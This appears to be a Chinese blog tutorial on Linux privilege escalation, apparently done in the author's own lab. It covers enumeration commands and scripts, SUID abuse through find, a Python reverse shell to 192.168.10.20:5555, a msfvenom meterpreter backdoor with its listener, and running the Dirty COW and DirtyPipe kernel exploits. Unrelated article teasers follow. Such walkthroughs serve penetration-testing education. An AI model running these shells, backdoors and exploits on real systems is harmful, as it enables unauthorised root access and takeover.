Linux权限提升—内核、SUID、脏牛等提权

Linux权限提升—内核、SUID、脏牛等提权

  • 1. 前言
  • 2. 基础信息收集
    • 2.1. 内核、操作系统、设备信息等
    • 2.2. 用户信息
    • 2.3. 用户权限信息
    • 2.4. 环境信息
    • 2.5. 进程与服务
    • 2.6. 安装的软件
    • 2.7. 服务与插件
    • 2.8. 计划任务
    • 2.9. 是否有存放明文密码
    • 2.10. 查看与主机通信信息
    • 2.11. 日志信息
  • 3. 脚本收集
    • 3.1. LinEnum
      • 3.1.1. 上传脚本
      • 3.1.2. 执行脚本
    • 3.2. Linuxprivchecker
      • 3.2.1. 执行脚本
    • 3.3. linux-exploit-suggester
      • 3.3.1. 执行脚本
      • 3.3.2. 执行漏洞
        • 3.3.2.1. 下载EXP
        • 3.3.2.2. 查看EXP
        • 3.3.2.3. 编译EXP
        • 3.3.2.4. 执行EXP
    • 3.4. linux-exploit-suggester-2
      • 3.4.1. 执行脚本
        • 3.4.1.1. 执行效果
  • 4. SUID提权
    • 4.1. SUID设置
    • 4.2. 查找拥有SUID权限的程序
    • 4.3. 各类提权命令
    • 4.4. find提权
      • 4.4.1. 查找SUID权限
      • 4.4.2. 寻找find命令
      • 4.4.3. 尝试提权
      • 4.4.4. 反弹权限
        • 4.4.4.1. 查看是否存在python
        • 4.4.4.2. 生成python反弹命令
        • 4.4.4.3. 反弹效果
    • 4.5. MSF后门木马反弹
      • 4.5.1. 生成后门
      • 4.5.2. 开启监听
      • 4.5.3. 上传后门
      • 4.5.4. 查看反弹效果
    • 4.6. 总结
  • 5. 内核提权之脏牛
    • 5.1. 脏牛漏洞介绍
    • 5.2. 脏牛提权操作
      • 5.2.1. 查看服务器内核版本
      • 5.2.2. 上传脏牛EXP
        • 5.2.2.1. 注意
        • 5.2.2.2. 编译脏牛EXP
      • 5.2.3. 执行脏牛EXP
      • 5.2.4. 登录账户
  • 6. 内核提权之DirtyPipe
    • 6.1. DirtyPipe漏洞介绍
    • 6.2. DirtyPipe提权操作
      • 6.2.1. 查看服务器内核
      • 6.2.2. 添加EXP权限
      • 6.2.3. 执行EXP

1. 前言

  关于Linux系统提权的前置知识其实和Windows系统提权是一致的,只是在系统位置,由Windows系统更换为Linux系统而已。

  权限提升的本质就是通过低权限的账户转换为高权限账户,通过获取高权限账户去做想要做的事情。

  同时在内核提权提权的时候,需要注意有些内核漏洞需要使用到本地用户去提权,也就是非web权限,但是有些漏洞可以无视权限都可以进行提权,这一点需要注意。

2. 基础信息收集

  在进行Linux系统提权之前首先需要先对系统进行信息收集。

2.1. 内核、操作系统、设备信息等

  通过下列命令,可以判断主机在域中的信息、内核信息、系统信息,便于通过这些信息搜索一些用于提权的内核漏洞。

uname -a    ##打印所有可用的系统信息
uname -r    ##内核版本
uname -n    ##系统主机名。
uname -m    ##查看系统内核架构(64位/32位)
hostname    ##系统主机名
cat /proc/version    ##内核信息
cat /etc/*-release   ##分发信息
cat /etc/issue       ##分发信息
cat /proc/cpuinfo    ##CPU信息
cat /etc/lsb-release   ##Debian 
cat /etc/redhat-release  ##Redhat
ls /boot | grep vmlinuz-

在这里插入图片描述

2.2. 用户信息

  通过查询相关的用户信息也能够在为提权上做出相关的参考。

cat /etc/passwd     ##列出系统上的所有用户
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group      ##列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      ##列出所有的超级用户账户
whoami                 ##查看当前用户
w                      ##谁目前已登录,他们正在做什么
last                   ##最后登录用户的列表
lastlog                ##所有用户上次登录的信息
lastlog –u %username%  ##有关指定用户上次登录的信息
lastlog |grep -v "Never"  ##以前登录用户的完

在这里插入图片描述

2.3. 用户权限信息

whoami            ##当前用户名
id                ##当前用户信息
cat /etc/sudoers  ##谁被允许以root身份执行
sudo -l           ##当前用户可以以root身份执行操作

在这里插入图片描述

2.4. 环境信息

env        ##显示环境变量
set        ##现实环境变量
echo %PATH ######路径信息
history    ####显示当前用户的历史命令记录
pwd        ##输出工作目录
cat /etc/profile   ##显示默认系统变量
cat /etc/shells    ##显示可用的shellrc
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout

在这里插入图片描述

2.5. 进程与服务

ps aux
ps -ef top
cat /etc/services
top

在这里插入图片描述

2.6. 安装的软件

这里通过使用下列命令,能够知道安装了哪些程序、什么版本、是否在运行等信息。

ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l

在这里插入图片描述

2.7. 服务与插件

  服务设置是否配置错误,是否附有(脆弱的)插件。

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

2.8. 计划任务

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

2.9. 是否有存放明文密码

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

2.10. 查看与主机通信信息

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -anptl
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

2.11. 日志信息

cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /var/run/utmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

3. 脚本收集

  这里使用github上的一些自动化脚本收集。

3.1. LinEnum

  Linux枚举及权限提升检查工具,该工具除了RCE无法收集,其它的信息都能收集,主要收集:内核、发行版本、系统信息、用户信息、特权访问、环境、作业、任务、服务、web服务的版本、默认/弱口令、搜索等

  下载地址:LinEnum

3.1.1. 上传脚本

  首先将文件上传至/tmp目录下,一般来说在/tmp目录下,一般是可以进行可读写可执行的。

chmod +x LinEnum.sh  ##添加执行权限

在这里插入图片描述

3.1.2. 执行脚本

  这里就可以执行脚本了,返回的信息很多,可以看到SUID提权用到的信息等,以及历史命令,万一找到root曾经输入过的密码呢???

./LinEnum.sh

在这里插入图片描述

3.2. Linuxprivchecker

  这个同样也的对服务器上的信息进行收集,但是不像LinEnum那样有颜色进行表示,看起来不太方便,所以一般来说不太喜欢这个,但是可以对比,看看是否存在遗漏。

  这个脚本是使用python进行执行的,通常Linux是会自带python环境的,如果没有就GG,所以为什么说相比LinEnum不好用,就在这里。

  下载地址:Linuxprivchecker

3.2.1. 执行脚本

  这里就不在提上传脚本了,由于是使用python进行执行的,也不需要添加权限,直接进行执行。

python linuxprivchecker.py  ##服务器要存在python环境。

在这里插入图片描述

3.3. linux-exploit-suggester

  这个脚本会输出内核等信息,然后输出可能存在的漏洞,包括exp的下载地址,可以下载对应的exp来测试。有橙色标签的说明更符合目标机情况。

  下载脚本:linux-exploit-suggester

3.3.1. 执行脚本

chmod +x linux-exploit-suggester.sh  ##添加执行权限
./linux-exploit-suggester.sh   ##执行脚本

在这里插入图片描述

3.3.2. 执行漏洞

  在通过脚本的判断后可以通过给予的信息下载exp进行提权,这里需要注意,如果网络环境不好,可能下载exp会出现错误,如果出现这个情况,可以直接百度搜索给予的下载连接去手动下载,将下载完的exp上传上去。

  这里可能会遇到下载的c语言环境的脚本,需要c语言进行编译,而服务器上可能很少会安装c语言环境,那么你可以本地进行编译,将编译完的exp再上传上去执行,不过最好找一台同样型号的进行编译,不然会出错,普通用户是没有下载c环境的权限,除非管理员给这个用户添加了权限,但是在实际环境中,多数都是web权限的用户,怎么会有下载权限呢???

  c语言环境在下面的脏牛提权中提到了,这里是我后补的,我就不想改了,可以拉到下面看。

3.3.2.1. 下载EXP

  可以看到我想说的就是这中情况,要不没有下载功能,要不由于下载的都是国外的服务器,访问容易出现问题,所以就只能手动下载了,至于下载地址,你可以仔细看每一个rce编号下面都有一个连接,那个就是下载连接。

在这里插入图片描述

在这里插入图片描述

3.3.2.2. 查看EXP

  这里先查看一下EXP,在EXP中都会存在编译的命令,可以使用工具打开c环境。

在这里插入图片描述

3.3.2.3. 编译EXP

  在编译EXP之前需要先将文件上传上去,如果网络好,就不需要上传EXP了,然后进行编译。

gcc 15150.c -o 15150    ##前面15150.c是文件,后面的是自定义的编译后文件名称

在这里插入图片描述

3.3.2.4. 执行EXP

  我这里换了几个都没有运行成功,总的来说还是需要一个一个测试的,下面的截图就是我换完后的,不过exp那么多总归可能有成功的,只是我测试了几个都没成功吧了。

./15150

在这里插入图片描述

3.4. linux-exploit-suggester-2

  这个和上面的类似,只不过更精简,也更准确一点。

  下载地址:linux-exploit-suggester-2

3.4.1. 执行脚本

  这里下载完后,添加一个执行权限,然后进行执行,看下面的图片就能看出没有解释器,我这里是重装的云服务器系统,上面什么都没有,通过百度搜索,好像安装mysql也是需要这个解释器的,那么应该装数据库的服务器上应该都是有这个解释器的。如果没有可以执行命令"yum -y install perl perl-devel"进行安装。

chmod +x linux-exploit-suggester-2.pl  ##添加执行权限
./linux-exploit-suggester-2.pl  ##运行脚本

在这里插入图片描述

3.4.1.1. 执行效果

  可以看出有很多漏洞,那么同样是根据下面给到的EXP下载连接去下载,然后执行即可,这里就不演示了。

在这里插入图片描述

4. SUID提权

  SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。

  在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

  如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中,是root权限。

  suid权限仅对二进制程序有效(binary program)(系统中的一些命令),不能用在脚本上(script)。

   执行者对于该程序需要具有x的可执行权限;

  本权限仅在执行该程序的过程中有效(run-time);

  执行者将具有该程序拥有者的权限。

4.1. SUID设置

  这里举个例子,看一下SUID如何设置。

  新建一个1.txt,并且查看现有的权限,然后加上SUID权限,看文件的变化,通过从权限上的变化也能够看出,所有者权限位上出现了S,那么就证明这个文件存在SUID权限,也就是说当普通用户去执行该文件的时候也是以root权限去执行。

在这里插入图片描述

4.2. 查找拥有SUID权限的程序

  这里使用下列命令,可以查找到拥有SUID权限的程序,同时也能看到,刚刚我们添加的1.txt也被查找到了。

find / -perm -u=s -type f 2>/dev/null
-perm 指定权限
-u=s 表示SUID权限
-type 指定文件类型
f 表示常规文件,而不是目录或特殊文件
2 表示该进程的第二个文件描述符,即stderr(标准错误)
/dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

在这里插入图片描述

4.3. 各类提权命令

  常见具有SUID权限的二进制可执行文件如下:

nmap vim find bash more less nano cp awk

  这个可能存在一个疑问就是,为什么刚刚查找到的命令中并没有这些二进制可执行文件,是由于当登录的用户为root权限的时候,就会出现默认的所有命令都是以root权限去执行,但是在实际环境中,由于root权限过大,当管理员想要管理的时候,通常会将一些常见的搜索、文本编辑、下载安装等设置上SUID权限,让在普通用户权限下也能够以root权限去执行。

  这里我们添加一下find设置为SUID权限,让普通用户也能够查找文件。

chmod u+s /usr/bin/find
ll /usr/bin | grep find

在这里插入图片描述

  下面参考网站,在网站中含有各类提权方式,去产找一个SUID即可看见相关的命令,以及使用方式。

  CTFOBins

  SUID提权参考

在这里插入图片描述

4.4. find提权

  这里就拿find提权做个案例,其它的命令均可在网站中找到相关的操作命令。

  测试环境:centos7.6

  这里我并没有搭建web网站,然后上传文件获取webshell去执行,而是直接在靶机中操作,其实操作方式都一样的,不存在其它的操作方式,所以无需在意。

4.4.1. 查找SUID权限

  这里我切到普通用户,如何进行查找SUID权限,能够看到刚刚添加的find命令是存在SUID权限的,不同的Linux类型有不同的搜索方式,可以一条一条测试。

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述

4.4.2. 寻找find命令

  从刚刚给予的网站中找到find命令,如何点击进去就能够查看相关的操作方式。

在这里插入图片描述

4.4.3. 尝试提权

  这里首先看一下现有获取到的权限是什么,可以看到就是一个普通用户权限。

在这里插入图片描述

  接下来使用find进行提权,文件名可以随便找一个,由于find是查找,所以后面需要跟着个文件名,执行命令就执行你想要执行的命令即可。

  这里我执行命令后就能够看到是以root权限执行。

find 文件名 -exec 执行命令 \;

在这里插入图片描述

  也可以使用使用网站中给予的命令来提权,如果需要

find . -exec /bin/sh \; -quit

在这里插入图片描述

4.4.4. 反弹权限

  这里可以使nc或者python进行反弹,但是在测试中发现反弹回来还是普通用户权限,在执行一些命令前还是需要使用find,不知道网上其它文章为什么反弹回来的是root权限。

  这里我使用python反弹做演示,由于我的centos7环境中并没有nc。

4.4.4.1. 查看是否存在python

  使用命令可以查看python的版本,以及确定是否存在python

python

在这里插入图片描述

4.4.4.2. 生成python反弹命令

  可以用下面的网站一键生成反弹命令

  一键生成shell反弹

find 111 -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.20",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' \;

在这里插入图片描述

4.4.4.3. 反弹效果

  这里也可以通过nc或则python脚本进行反弹,但本质上目的都是获取一个root权限的shell。而且通过nc或者python脚本反弹的shell很可能还是普通用户权限,所以建议直接使用上面那种方法。

nc -lvnp 5555

在这里插入图片描述

4.5. MSF后门木马反弹

  这里我们可以尝试生成一个Linux的后门木马进行反弹,在生成之前需要知道Linux是32位还是64位。

4.5.1. 生成后门

  我们这里知道操作系统是64位的,所以我们生成一个64位的Linux后门木马。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.10.20  LPORT=5555 -f elf > shell.elf

在这里插入图片描述

4.5.2. 开启监听

  这里开启kali上的监听。

use exploit/multi/handler                      ##进入监听
set payload linux/x64/meterpreter/reverse_tcp  ##监听payload
set lhost 192.168.10.20                        ##设置监听地址
set lport 5555                                 ##设置监听端口
run																						 ##执行

在这里插入图片描述

4.5.3. 上传后门

  这里将后门上传到Linux系统中,并且给文件添加一个执行权限,然后再使用find进行执行。

chmod +x shell.elf     ##给后门木马添加权限
find 111 -exec ./shell.elf \;  ## 执行后门木马

在这里插入图片描述

4.5.4. 查看反弹效果

  可以看到这里使用木马反弹回来的是root权限,那么我们输入内容就无需使用find进行执行了。

在这里插入图片描述

4.6. 总结

  至于其它的命令使用方式,可以在给予的网站中去查找相关的使用方式,这里就不再进行演示了。

5. 内核提权之脏牛

  内核提权极容易让服务器崩溃,所以在使用中需要注意,比如我使用的是云服务器做下面的案例,由于我的云服务器是2核的,提权速度很慢,同时云服务器的CPU,磁盘等基本上快被拉满了,所以在做这个实验的时候,需要注意!!

  同时内核提权和Windows溢出提权是一致的,都是寻找相关的系统漏洞进行执行。

5.1. 脏牛漏洞介绍

  漏洞信息:CVE-2016-5195漏洞

  影响范围:Linux 内核2.6.22 – 3.9 (x86/x64)

  漏洞EXP:脏牛EXP

5.2. 脏牛提权操作

  我这里是先让服务器反弹一个普通权限回来,然后准备使用MSF去操作的,但是出现的问题就是输入shell后很长时间进不去,可能是由于一个服务器是香港的,一个是华为云,连接上存在一点问题,我这里直接去香港服务器上操作吧。

在这里插入图片描述

5.2.1. 查看服务器内核版本

  首先需要查看以下服务器内核版本,然后去判断使用那种内核进行提权,可以看到我们获取到的是一个2.6的符合脏牛提权。

在这里插入图片描述

5.2.2. 上传脏牛EXP

  我们这里将脏牛EXP下载下来,然后上传至目标靶机上,并对其进行编译。

5.2.2.1. 注意

  注意这里在Linux中编译的话必须有C语言环境,我参考了好多文章,没一个文章提到这个环境问题的,我对语言不太懂,但是WEB搭建过程中应该很少会用到C语言,同时很多服务器都是安装的都是精简模式,所以都不会带C语言环境,但是如果确实想提权,可以自己提前先编译好再上传。

  下面的图片是已经按照好C语言环境的,如果没有按照只会显示"gcc:"后面就没有了。

whereis gcc  ##查看是否存在C语言环境
yum install gcc  ##安装C语言环境,注意在普通用户下不能安装。

在这里插入图片描述

5.2.2.2. 编译脏牛EXP

gcc -pthread dirty.c -o dirty -lcrypt ##编译

在这里插入图片描述

5.2.3. 执行脏牛EXP

  这里我们执行脏牛EXP即可,执行完成后就会获取到一个用户名为firefart,密码就是刚刚设置的。

./dirty  123456  ##执行,后面的123456是自定义的密码

在这里插入图片描述

5.2.4. 登录账户

  登录后,查看id,发现为root权限,即为提权成功,注意这里我使用云服务器测试完后,再次连接云服务器的时候,发现root密码被拒绝登录了,也就是root密码错误,但是我使用我设置的密码登录,依旧是错误的,这个需要注意。

在这里插入图片描述

6. 内核提权之DirtyPipe

  关于DirtyPipe漏洞利用的EXP网上有很多,这里我就举其中一种列子,至于其它的提权方式,可以参看其它的文章,或者直接百度搜这个漏洞编号,就会出现一大堆,利用方式。

6.1. DirtyPipe漏洞介绍

  漏洞信息:CVE-2022-0847漏洞

  影响范围:Linux Kernel版本 >= 5.8

​        Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102

  漏洞EXP:DirtyPipe

6.2. DirtyPipe提权操作

  内核提权需要谨慎,容易让服务器崩溃或者出现其它问题。

6.2.1. 查看服务器内核

  这里我使用的是kali服务器,内核版本可能有点高,所以导致不成功,可以去看看其他人的文章。

unam -a ##查看内核版本

在这里插入图片描述

6.2.2. 添加EXP权限

  这里需要提前将EXP上传至服务器中,并且给予执行权。

cd /tmp  ##到tmp目录下,原因就看你之前有没有仔细看文章了
chmod +x Dirty-Pipe.sh   ##添加执行权限

在这里插入图片描述

6.2.3. 执行EXP

  这里执行一下EXP,会自动跳转到root权限上,我这里未成功是由于kali的内核版本可能太高了,下面图片就是其它人执行成功的效果。

bash Dirty-Pipe.sh

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/7330.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于混合整数规划方法的微网电池储能容量优化配置

代码相关资源&#xff1a;TOPSIS法&#xff08;优劣解距离法&#xff09; 风电场风速两参数weibull(威布尔)分布的MATLAB小程序 遗传算法优化神经网络&#xff0c;对光伏出力预测的优化设计&#xff0c;实现了部分功能 关键词&#xff1a;储能容量优化 储能配置 微网 编程…

10年花费9773亿,华为完成13000颗元器件国产替代,外媒:结束了

近期&#xff0c;华为的消息层出不穷&#xff0c;就在前几天&#xff0c;华为就释放出2个信号&#xff0c;任正非为代表的巨头纷纷表态及发言&#xff0c;显而易见的是&#xff0c;如今华为正处于生死攸关的重要阶段。那么华为释放了哪2个信号呢&#xff1f;其一是&#xff0c;…

centos7离线安装docker

前言 在没有互联网的情况下想要安装某些软件用docker是十分方便的一种方式&#xff0c;例如oracle。原生的oracle安装是非常麻烦的&#xff0c;本人亲眼目睹一个专门搞oracle的公司的人安装oracle三天没有成功&#xff01;因此不得不学习在没有互联网的情况下使用docker来安装…

网络层IP协议和数据链路层

目录IP协议协议头格式分片网段划分特殊的IP地址IP地址的数量限制NAT技术NAT技术背景NAT IP转换过程NAPTNAT技术的缺陷NAT和代理服务器私有IP地址和公网IP地址路由路由表生成算法数据链路层认识以太网以太网帧格式认识MAC地址对比理解MAC地址和IP地址认识MTUMTU对IP协议的影响MT…

web自动化测试:Selenium+Python基础方法封装(建议收藏)

01、目的 web自动化测试作为软件自动化测试领域中绕不过去的一个“香饽饽”&#xff0c;通常都会作为广大测试从业者的首选学习对象&#xff0c;相较于C/S架构的自动化来说&#xff0c;B/S有着其无法忽视的诸多优势&#xff0c;从行业发展趋、研发模式特点、测试工具支持&…

SpringCloud学习2(Spring Cloud Netflix)负载均衡Ribbon、Feign负载均衡、Hystix服务熔断

文章目录负载均衡RibbonRibbon的作用代码实现生产者cloud1_provider实现配置文件在HiController中编写以下代码启动集群消费者cloud1_consumer实现引入依赖编写配置文件编写启动类&#xff0c;并给RestTemplate配置LoadBalanced注解编写RestController来测试Feign负载均衡简介F…

信息收集与运用

目录 一.实验目的 二.实验原理 三.实验内容 一.收集信息 二.猜解密码 三.密码强度检测 源码 测试用例 程序输出结果​编辑 ​四.小结与讨论 1.举出保护个人敏感信息的方法&#xff08;最少三点&#xff09;。 2.如何提高你的密码强壮性&#xff0c;以避免黑客利用密…

Java类加载过程面试总结

什么是Java的类加载机制 Java 虚拟机一般使用 Java 类的流程为&#xff1a;首先将开发者编写的 Java 源代码&#xff08;.java文件&#xff09;编译成 Java 字节码&#xff08;.class文件&#xff09;&#xff0c;然后类加载器会读取这个 .class 文件&#xff0c;并转换成 jav…

05.List的介绍

1. List 在集合框架中&#xff0c;List是一个接口&#xff0c;继承自Collection。 Collection也是一个接口&#xff0c;该接口中规范了后序容器中常用的一些方法&#xff0c;具体如下所示&#xff1a; Iterable也是一个接口&#xff0c;表示实现该接口的类是可以逐个元素进行遍…

仿真与测试:单元测试与Test Harness

本文描述单元测试的概念&#xff0c;以及Test Harness建立的方法和简单的单元测试过程。 文章目录1 单元测试1.1 场景举例1.2 简单的测试方法2 Test Harness建立2.1 模型配置2.2 创建Test Harness3 总结1 单元测试 单元测试&#xff0c;简单来说就是在Simulink模型中只测试一小…

63-哈希表

目录 1.哈希表的概念 2.哈希函数的概念 3.哈希函数的设计 3.1.key为整型时哈希函数的设计 3.1.1.普通整数 3.1.2.负整数 3.1.3.大整数 PS&#xff1a;哈希函数设计的3个要求&#xff1a; PS&#xff1a;2种类型的哈希函数&#xff08;大整数&#xff09; 3.2.key为其…

【数据结构】树与二叉树的基本概念及性质

目录 一、树的基本概念 1️⃣树的定义 2️⃣基本术语 3️⃣树的性质 二、二叉树的概念 1️⃣二叉树的定义 2️⃣特殊二叉树 3️⃣二叉树的性质 参考资料 一、树的基本概念 1️⃣树的定义 数据结构中的树是什么❓ 树是 个结点的有限集。有且仅有一个特定的称为根(上图A结点…

C++ [内存管理]

本文已收录至《C语言》专栏&#xff01; 作者&#xff1a;ARMCSKGT 目录 前言 正文 计算机中内存分布 C语言的内存管理 内存申请函数 内存释放函数 C内存管理 new操作符 delete操作符 特性总结 注意 原理探究 operator new和operator delete函数 operator new的底…

【C++】STL之string的使用和模拟实现

初阶的C语法和基本的类和对象我们已经学过了&#xff0c;下面我们会步入一段新的旅程。本章我们将初步了解STL(标准模板库)&#xff0c;并且深入探讨其中一个非常重要的容器———string。 目录 &#xff08;一&#xff09;STL简介&#xff08;了解即可&#xff09; &#xf…

Hashtable、HashMap、ConcurrentHashMap的区别

作者&#xff1a;爱塔居 专栏&#xff1a;JavaEE 作者简介&#xff1a;大三学生&#xff0c;希望和大家一起进步。 Hashtable和HashMap、ConcurrentHashMap 之间的区别? HashMap:线程不安全&#xff0c;key允许为null Hashtable:线程安全&#xff0c;使用synchronized锁Hashta…

2.4 特征工程

2.4 特征工程 李沐 B站:https://space.bilibili.com/1567748478/channel/collectiondetail?sid=28144 课程主页:https://c.d2l.ai/stanford-cs329p/ 1. 为什么需要特征工程: 特征工程 数据集进行特征提取,以使机器学习模型在对经过特征工程处理过的数据进行学习时可以更快…

(02)基础强化:面向对象,变量作用域,封装,继承,虚方法,可访问性

一、面向对象概念复习 1、什么是面向对象&#xff1f;OOP&#xff08;Object-Oriented Programming&#xff09; 一种分析问题的方式&#xff0c;增强了程序的可扩展性。 OOP面向对象编程 OOA面向对象分析 OOAD面向对象分析与设计&#xff08;…

Redis管道(pipeline)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录前言1、管道(pipeline)的基本概念2、管道实操3、小总结前言 在正式讲解Redis管道之前&#xff0c;先引入一个面试题&#xff1a; 如何优化频繁命令往返造成的性能瓶…

【Hello Linux】线程控制

作者&#xff1a;小萌新 专栏&#xff1a;Linux 作者简介&#xff1a;大二学生 希望能和大家一起进步&#xff01; 本篇博客简介&#xff1a;简单介绍linux中的线程控制 线程控制线程创建线程等待线程终止线程分离线程id和进程地址空间布局线程创建 我们可以通过下面pthread_c…

蓝桥杯基础14:BASIC-1试题 闰年判断

资源限制 内存限制&#xff1a;256.0MB C/C时间限制&#xff1a;1.0s Java时间限制&#xff1a;3.0s Python时间限制&#xff1a;5.0s 问题描述 给定一个年份&#xff0c;判断这一年是不是闰年。 当以下情况之一满足时&#xff0c;这一年是闰年&#xff1a; 1. 年份…